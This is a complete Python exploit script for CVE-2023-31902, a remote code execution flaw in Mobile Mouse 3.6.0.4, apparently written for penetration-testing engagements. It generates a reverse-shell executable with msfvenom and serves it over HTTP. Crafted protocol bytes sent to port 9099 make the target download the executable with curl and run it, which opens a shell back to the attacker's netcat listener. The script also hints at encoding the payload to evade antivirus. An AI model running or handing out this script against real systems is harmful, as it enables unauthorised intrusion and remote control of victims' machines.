README.md
README.md not found for CVE-2023-31902. The file may not exist in the repository.
#!/usr/bin/env python3
"""
CVE-2023-31902 - Mobile Mouse 3.6.0.4 RCE
@Mahdiesta / xl337x
"""
import socket, os, sys, subprocess, threading, http.server, socketserver, shutil
from time import sleep
G="\033[32m"; Y="\033[33m"; R="\033[31m"; B="\033[34m"; W="\033[0m"
def ok(m): print(f"{G}[+]{W} {m}")
def err(m): print(f"{R}[-]{W} {m}")
def inf(m): print(f"{B}[*]{W} {m}")
def warn(m): print(f"{Y}[!]{W} {m}")
def banner():
print(f"""{G}
███╗ ███╗ ██████╗ ██████╗ ██╗██╗ ███████╗ ███╗ ███╗ ██████╗ ██╗ ██╗███████╗███████╗
████╗ ████║██╔═══██╗██╔══██╗██║██║ ██╔════╝ ████╗ ████║██╔═══██╗██║ ██║██╔════╝██╔════╝
██╔████╔██║██║ ██║██████╔╝██║██║ █████╗ ██╔████╔██║██║ ██║██║ ██║███████╗█████╗
██║╚██╔╝██║██║ ██║██╔══██╗██║██║ ██╔══╝ ██║╚██╔╝██║██║ ██║██║ ██║╚════██║██╔══╝
██║ ╚═╝ ██║╚██████╔╝██████╔╝██║███████╗███████╗ ██║ ╚═╝ ██║╚██████╔╝╚██████╔╝███████║███████╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝{W}
{Y}CVE-2023-31902 | Mobile Mouse 3.6.0.4 RCE | @Mahdiesta / xl337x{W}
""")
# ── Input helpers ─────────────────────────────────────────────────────────────
def ask(prompt, default=None):
if default is not None:
val = input(f" {G}{prompt}{W} [{Y}{default}{W}]: ").strip()
return val if val else str(default)
while True:
val = input(f" {G}{prompt}{W}: ").strip()
if val: return val
print(f" {R}Cannot be empty.{W}")
def ask_yn(prompt, default="y"):
val = input(f" {Y}{prompt} [{default.upper()}/{'n' if default=='y' else 'Y'}]{W}: ").strip().lower()
if not val: return default == "y"
return val in ("y","yes")
def resolve_lhost(val):
val = val.strip()
try:
socket.inet_aton(val)
return val, None
except socket.error:
pass
try:
out = subprocess.check_output(
["ip", "-4", "addr", "show", val], stderr=subprocess.DEVNULL
).decode()
for line in out.splitlines():
line = line.strip()
if line.startswith("inet "):
return line.split()[1].split("/")[0], None
except Exception:
pass
return None, f"'{val}' is not a valid IP or interface"
def ask_ip(prompt):
while True:
raw = ask(prompt)
ip, e = resolve_lhost(raw)
if ip:
if raw != ip: ok(f"Resolved {raw} → {ip}")
return ip
err(e + " — try again")
def ask_port(prompt, default):
while True:
val = ask(prompt, default=default)
try:
p = int(val)
if 1 <= p <= 65535: return p
err("Port must be 1–65535")
except ValueError:
err("Enter a number")
# ── Payload helpers ───────────────────────────────────────────────────────────
def generate_payload(lhost, lport, outfile):
if not shutil.which("msfvenom"):
err("msfvenom not found")
return False
inf(f"Generating → {outfile} (LHOST={lhost} LPORT={lport}) ...")
r = subprocess.run(
["msfvenom", "-p", "windows/x64/shell_reverse_tcp",
f"LHOST={lhost}", f"LPORT={lport}",
"-f", "exe", "-o", outfile],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
)
if r.returncode == 0 and os.path.isfile(outfile) and os.path.getsize(outfile) > 0:
ok(f"Payload ready: {outfile} ({os.path.getsize(outfile)} bytes)")
return True
err("msfvenom failed — check msfvenom manually")
return False
def ensure_payload(payload_path, lhost, lport, payload_name):
"""
Smart payload check:
- Missing or empty → auto-generate (ask)
- Exists → ask if LPORT is correct, offer regenerate if not
Always returns True if we have a valid payload, False to abort.
"""
if not os.path.isfile(payload_path) or os.path.getsize(payload_path) == 0:
warn(f"Payload not found: {payload_path}")
if ask_yn(f"Auto-generate with msfvenom? (LHOST={lhost} LPORT={lport})"):
return generate_payload(lhost, lport, payload_path)
err("Cannot continue without payload")
return False
# File exists — ask about LPORT
size = os.path.getsize(payload_path)
ok(f"Found existing payload: {payload_path} ({size} bytes)")
warn(f"Was this payload compiled with LPORT={lport}?")
correct = ask_yn(f"Yes, LPORT={lport} is correct — use this payload")
if correct:
return True
# Regenerate
inf("Regenerating payload with correct LPORT...")
return generate_payload(lhost, lport, payload_path)
# ── Network helpers ───────────────────────────────────────────────────────────
def port_open(host, port, timeout=6, retries=3):
for _ in range(retries):
try:
s = socket.socket()
s.settimeout(timeout)
r = s.connect_ex((host, port))
s.close()
if r == 0:
return True
except Exception:
pass
sleep(1)
return False
def kill_port(port):
if shutil.which("fuser"):
subprocess.run(["fuser", "-k", f"{port}/tcp"],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
sleep(1)
return True
return False
def start_http(serve_dir, port):
class Q(http.server.SimpleHTTPRequestHandler):
def __init__(self, *a, **k): super().__init__(*a, directory=serve_dir, **k)
def log_message(self, *a): pass
for attempt in range(2):
try:
srv = socketserver.TCPServer(("", port), Q)
srv.allow_reuse_address = True
threading.Thread(target=srv.serve_forever, daemon=True).start()
return srv
except OSError:
if attempt == 0:
warn(f"Port {port} busy — killing it automatically...")
kill_port(port)
else:
err(f"Cannot bind port {port}. Run: sudo fuser -k {port}/tcp")
return None
# ── Exploit core ──────────────────────────────────────────────────────────────
TARGET_PORT = 9099
def exploit(target, lhost, http_port, payload_name):
CONN = bytearray.fromhex(
"434F4E4E4543541E1E63686F6B726968616D6D6564691E6950686F6E651E321E321E04"
)
RUN = bytearray.fromhex("4b45591e3131341e721e4f505404")
def connect():
s = socket.socket()
s.settimeout(15)
s.connect((target, TARGET_PORT))
return s
def make_cmd(cmd_str):
h = cmd_str.encode("utf-8").hex()
return bytearray.fromhex(
"4B45591E3130301E" + h + "1E04" + "4b45591e2d311e454e5445521e04"
)
try:
inf("Phase 1 — download payload on target...")
s = connect()
s.send(CONN); s.recv(54)
s.send(RUN); s.recv(54)
sleep(0.5)
dl = (f"curl http://{lhost}:{http_port}/{payload_name}"
f" -o c:\\Windows\\Temp\\{payload_name}")
inf(f" {dl}")
s.send(make_cmd(dl)); s.recv(96)
s.close()
inf("Waiting 10s for download...")
sleep(10)
inf("Phase 2 — execute payload...")
s = connect()
s.send(CONN); s.recv(54)
s.send(RUN); s.recv(54)
sleep(0.5)
run = f"c:\\Windows\\Temp\\{payload_name}"
inf(f" {run}")
s.send(make_cmd(run)); s.recv(96)
s.close()
sleep(3)
return True
except Exception as e:
err(f"Exploit error: {e}")
try: s.close()
except: pass
return False
# ── Main ──────────────────────────────────────────────────────────────────────
def main():
banner()
inf("Fill in your engagement details\n")
# Inputs
target = ask_ip("Target IP")
lhost = ask_ip("Your IP or interface (tun0 or IP)")
lport = ask_port("Your nc listener port (LPORT)", 9099)
http_port = ask_port("HTTP delivery port", 8080)
payload_name = ask("Payload filename", default="shell.exe")
payload_path = os.path.join(os.getcwd(), payload_name)
# Config summary
print(f"""
{B}[*] ─── Config ──────────────────────────────────────{W}
Target : {G}{target}:9099{W} (TCP — fixed)
LHOST : {G}{lhost}{W}
LPORT : {Y}{lport}{W} ← must match payload + listener
HTTP server : {B}:{http_port}{W}
Payload : {payload_path}
{B}[*] ──────────────────────────────────────────────────{W}
""")
inf("Checks...\n")
# Smart payload check
if not ensure_payload(payload_path, lhost, lport, payload_name):
sys.exit(1)
# Target reachable
if not port_open(target, TARGET_PORT):
warn(f"Port {TARGET_PORT} probe failed on {target} (filtered or slow).")
warn(f"Verify externally: nmap -p {TARGET_PORT} {target} | rustscan -a {target}")
if not ask_yn("Continue anyway?", default="n"):
sys.exit(1)
else:
ok(f"Port {TARGET_PORT} open on {target}")
# HTTP server
httpd = start_http(os.getcwd(), http_port)
if not httpd:
sys.exit(1)
ok(f"HTTP server :{http_port} → {os.getcwd()}")
sleep(1)
# Listener reminder
print(f"""
{Y}[!] Start your listener NOW in another terminal:{W}
{G}rlwrap nc -nlvp {lport}{W}
or
{G}penelope -p {lport}{W}
""")
input(f" {Y}Press ENTER when listener is ready...{W} ")
# Fire
success = exploit(target, lhost, http_port, payload_name)
httpd.shutdown()
if success:
print(f"\n{G}[+] Exploit complete! Check your listener on port {lport}{W}")
print(f" Shell from: {G}{target}{W}")
else:
print(f"\n{R}[-] Failed. Checklist:{W}")
print(f" 1. Listener running? rlwrap nc -nlvp {lport}")
print(f" 2. Payload LPORT? msfvenom ... LPORT={lport} -o {payload_name}")
print(f" 3. Port reachable? nc -zv {target} {TARGET_PORT}")
print(f" 4. AV blocking? try encoded payload")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print(f"\n{R}[-]{W} Interrupted")
sys.exit(0)